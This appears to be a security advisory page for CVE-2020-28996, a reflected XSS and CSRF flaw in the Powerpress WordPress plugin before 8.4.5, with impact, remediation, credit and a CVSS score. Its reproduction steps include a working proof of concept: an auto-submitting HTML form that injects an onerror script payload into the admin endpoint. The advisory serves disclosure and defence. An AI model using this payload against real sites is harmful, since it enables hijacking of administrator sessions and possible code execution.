---
title: "CX-2020-4289"
date: "2020-11-30T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2020-4289/"
---

# CX-2020-4289

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

Fixed: Nov 30, 2020

CVE-2020-28996  **Published:** Nov 30, 2020

8.2 High Severity CSRF RCE Reflected XSS wordpress XSS

RM Ron Masas  Reported by Checkmarx Zero

Details Overview

## Summary

Affected versions of Powerpress WordPress plugin are vulnerable to a reflected XSS and CSRF to the admin page. Combining the two vulnerabilities an attacker could achieve an RCE.

## Product

Powerpress WordPress plugin before version 8.4.5

## Impact

Exploiting XSS on an admin in WordPress could result in RCE when editing a plugin code.

## Steps to reproduce

1. WordPress with the vulnerable plugin installed on port 8000.
2. Admin navigates to

    ```
    <html><head></head>
    <body>
     <form action="http://localhost:8000/wp-admin/admin-ajax.php?action=powerpress_metamarks_addrow" method="POST">
         <input type="text" name="next_row" value='"><img src=v onerror=alert(1) >' />
         <input type="text" name="action" value="powerpress_metamarks_addrow" />
         <button>Submit</button>
     </form>
     <script>
         document.querySelector('form').submit();
     </script>
    </body></html>
    ```

### Expected result:

Powerpress settings page will show with a javascript alert.

## Remediation

Update Powerpress plugin to 8.4.5 or above.

## Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher [@ronmasas (Ron Masas)](https://twitter.com/ronmasas).

## Resources

1. [Commit](https://plugins.trac.wordpress.org/changeset/2428928)

0  High Severity CVSS v3.1 Score

   8.2

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: High
- Integrity Impact: Low
- Availability Impact: None

Advisory Timeline1. Disclosed Nov 20, 2020 Notified the maintainer
2. Fixed Nov 30, 2020 Fix got released

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